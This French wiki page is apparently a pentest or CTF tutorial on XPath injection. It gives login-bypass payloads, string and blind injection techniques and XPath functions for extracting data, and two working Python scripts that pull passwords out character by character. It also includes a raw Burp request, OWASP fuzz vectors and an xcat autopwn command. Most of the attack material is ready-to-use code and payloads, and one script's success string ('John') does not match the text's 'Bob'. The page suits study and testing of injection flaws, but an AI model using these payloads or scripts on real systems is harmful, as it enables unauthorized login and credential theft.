====== XPATH Injection ====== ===== 1) XPATH Authentification===== ==== Le principe: ==== Le test login/password se fait sur ce genre de code: $xpath = "//user[user='" . $_GET['user'] . "' and pass='" . $_GET['pass'] . "']"; Le but est d'injecter dans les variables user et pass, les paramètres renvoyant toujours TRUE. \\ De plus, il faut connaître le nom du noeud considéré (user, dans notre cas). Pour le trouver, on peut s'appuyer sur la liste des users. ex avec user: user=' or '1'='1 * user est le nom de la variable renvoyé par le formulaire. * le premier ' permet de fermer la chaîne de caractères ouverte dans la variable $xpath. * le or '1'='1 est toujours vrai, il n'y a pas de ' à la fin, c'est la variable $xpath qui ferme la chaîne. Au final, la chaîne $xpath donnera: $xpath = "//user[user='' or '1'='1' and pass='' or '1'='1']"; ==== Test de l'injection: ==== user=' or '1'='1&pass=' or '1'='1 Cette requête renvoie TRUE, et on se trouve loggué sous le premier utilisateur, à savoir alice; ==== Bypass du password: ==== user=' or '1'='1' or ''='&pass= Avec ces valeurs, la chaîne xpath est égale à: $xpath = "//user[user='' or '1'='1' or ''='' and pass='']"; Le deuxième or permet de fermer la chaîne de caractères et de rendre pass inopérant. Le résultat étant vrai, on est maintenant loggué sous le premier utilisateur. \\ Pour se connecter sous admin (alice, voir la liste des users), il suffit de: user=alice' or '1'='1' or ''='&pass= \\ ===== 2) Injection string: ===== ---- L'injection sera possible sur une zone de recherche de users par exemple. ==== Le principe: ==== Un champ permet la saisie d'une chaîne de caractères pour rechercher un user. On commence par saisir n'importe quoi (ex: ' )' ), cela provoque une erreur du type: Le test login/password se fait sur ce genre de code: Invalid XPath syntax : //user/username[contains(., '' )')] Le retour error indique le nom du noeud testé user/username. De plus, la commande contains est utilisée pour le test du user. Il suffit d'injecter en fonction des attentes de la fonction. ==== L'injection ==== La variable devrait ressembler à cela: $xpath=⁄⁄user/user[contains(.,'')] En deuxième paramètre contains attend un string qu'elle recherchera dans le premier (en l’occurrence . qui correspond au nœud actuel à savoir username), * l'injection devra donc commencer par ') * On ferme le premier prédicat par ]. * On doit ensuite gérer la fin de la requête, on doit donc finir par [('1'='1 L'injection sera donc: user=')][('1'='1 On final, on obtient: $xpath=⁄⁄user/user[contains(.,'')][('1'='1')] Le résultat sera le listing des users, car le noeud actif est ⁄⁄user/user 3 results Alice Bob Michu Pour que cette requête renvoie tout, on peut maintenant y insérer /../* : $xpath=⁄⁄user/user[contains(.,'')]/../*[('1'='1')] Cela a pour effet de remonter un cran au-dessus du node user dans l'arborescence et d'afficher tout le contenu à savoir l'ensemble des noeuds "user" et tous ses attributs. L'injection sera finalement: username=')]/../*[('1'='1 Et renverra: 1 Alice lemotdepassedupaysimaginaire princesse 2 Bob 123456abcd bob@leponge.com utilisateur ...etc... \\ ===== 3) XPath injection - en aveugle ===== ---- Cet exemple ne renvoie pas de liste de valeurs en cas de réussite. Il se contente de renvoyer le user concerné, ou une erreur de syntaxe, exemple avec un quote inséré dans l'url: XPath error : //user[id=2\'] //user[id=2// est la partie fixe de la syntaxe xpath. De plus, c'est un integer qui est attendu et non plus un string. L'injection pourra commencer comme ceci: //user[id=2 and fonction] De plus, les quotes étant filtrés, on ne pourra pas tester les caractères avec les fonctions habituelles comme starts-with et substring. Cependant xpath propose une fonction permettant de convertir une chaîne en codage ascii: codepoints-string. \\ Ce script recherche toutes les valeurs présentes dans les nodes user. Il se contente des champs d'index 1 et 2 car ils correspondent respectivement au id et au pwd. Les champs 3,8 et 10 correspondent à l'index, au type de compte et au mail. La condition pour savoir si la requête renvoie True est 'Bob' car on a laissé userid=2 dans la partie fixe de l'injection. ... if "Bob" in res.text ... import requests page = "http:///?action=user&userid=2" cooki = {'che' : '1','spip_session' : ''} child_node_pos=0 charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" continuer=True for user in range(1,10): print "user:"+str(user) passwd="" for child_node_pos in (4,6): print " - noeud:"+str(child_node_pos) for t in range(1,50): if continuer: continuer=False for carac in charset: req=page+"+and+substring(//user["+str(user)+"]/child::node()["+str(child_node_pos)+"],"+str(t)+",1)=codepoints-to-string("+str(ord(carac))+")" res = requests.get(req,cookies=cooki) if "John" in res.text: passwd+=carac continuer=True print passwd break else: print passwd t=1 continuer=True passwd+=":" break \\ ===== Quelques fonctions utiles ===== ==== string-length ==== ---- Vérifie la longueur d'une chaîne dans un noeud * Vérifie la longueur du password du user d'index 1: string-length(//user[1]/password)=10 * Vérifie la longueur de la chaîne du 6ème noeud de user d'index 1: string-length(//user[position()=1]/child::node()[position()=6])=10 * Vérifie la longueur du password du user Alice: string-length(//user['Alice']/password)=10 * Insérée dans une injection de type string: ') and string-length(../username)=5][('x'='x Il renverra les users avec 5 caractères. La partie [('x'='x est là pour finir correctement la requête xpath. * Dans le cas d'un path en relatif: ') and string-length(../username['Harry']../password)>11][('x'='x Dans l'exemple d'Alice et ses amis, on obtiendrait un seul résult:Potter qui a un mdp de plus de 12 caractères. * Par extension, pour lister les usernames (parmi les quelques dizaines de façons différentes): ') and string-length(../username)>0][('x'='x \\ ==== starts-with ==== ---- Vérifie si la chaîne de caractères commence par la valeur passée en paramètre. * On testera ainsi si un user commence par la lettre H. Par extension, on pourra tester toutes les lettres. ') and starts-with(../username,'A ') and starts-with(../username,'Al ') and starts-with(../username,'Ali ... Pour cet exemple, on obtiendra: 1 result Alice * On peut chercher le pass de la même manière: Alice') and starts-with(../password,'M Si la lettre sélectionnée n'est pas bonne, on obtiendra 0 résults. \\ ==== substring==== ---- substring(user[1]/username,x,n) Renvoie la chaîne de longueur n à partir du xième caractère. Exemple, substring renverra le premier caractère du password de John: substring(user[1]/username,1,1) On peut tester la présence de caractères en incrémentant le décalage de 1 à chaque test de caractères: substring(user[1]/username,1,1)='A' substring(user[1]/username,2,1)='l' substring(user[1]/username,3,1)='i' ... \\ ==== codepoints-to-string ==== ---- Renvoie le code ASCII en décimal du ou des caractères passé(s) en paramètres.Ex: codepoints-to-string(84) renverra 'T' codepoints-to-string(90,101,110,107) renverra 'Zenk' La requête renverra True si le node d'index 4 du user d'index 2 commence par carac: req=page+"+and+substring(//user[2]/child::node()[4],1,1)=codepoints-to-string(string(ord(carac))) \\ ---- La liste des fonctions xpath: [[http://www.w3schools.com/xpath/xpath_functions.asp]] \\ ===== Outils ===== ---- ==== Script de recherche de caractères: ==== Un script permettant de faire une recherche caractère par caractère d'un noeud avec la commande starts-with: #!/usr/bin/python import requests page = cooki = {} charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" passwd="" req=page+"')][('1'='1" res = requests.get(req,cookies=cooki) for x in res.text.split("
  • "):print x continuer=True for t in range(0,50): if continuer: continuer=False for carac in charset: req=page+"Alice') and starts-with(../password,'"+passwd+carac #print req res = requests.get(req,cookies=cooki) #print " rep= "+res.text.split("value=")[3]+"\n-----------\n" if "1 résultat trouvé" in res.text: passwd+=carac continuer=True print passwd break else: print "Le mot de passe est : "+passwd break ==== Burp Suite ==== La requête RAW: GET //url.com/log=members&search=Harry')+and+starts-with(../password,' HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Cookie: Connection: keep-alive ==== Les vecteurs de fuzzing: ==== source: [[https://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors#XPATH_Injection|OWASP]] Avec l'ajout de ')][('1'='1 ')][('1'='1 '+or+'1'='1 '+or+''=' x'+or+1=1+or+'x'='y / // //* */* @* count(/child::node()) x'+or+name()='username'+or+'x'='y ==== un outil xcat: ==== [[https://github.com/orf/xcat]] FIXME à tester: xcat.py --true "Alice" --arg "do=user&id_user=2" --method GET --cookie "" http://url.com/? --autopwn \\ ==== XPath Injection Utility ==== Le meilleur pour la fin, l'excellent outil de Krach: [[http://krach.me/XPath_Injection_Utility/]] \\ ==== xpath-blind-explorer==== [[http://code.google.com/p/xpath-blind-explorer/downloads/list?]] ---- ===== Docs ===== * [[http://media.blackhat.com/bh-eu-12/Siddharth/bh-eu-12-Siddharth-Xpath-WP.pdf]] * [[http://2stop.me/Sécurité%20Informatique/Web/EN%20-%20Blind%20Xpath%20injection.pdf]] * [[http://packetstorm.interhost.co.il/papers/bypass/Blind_XPath_Injection_20040518.pdf]]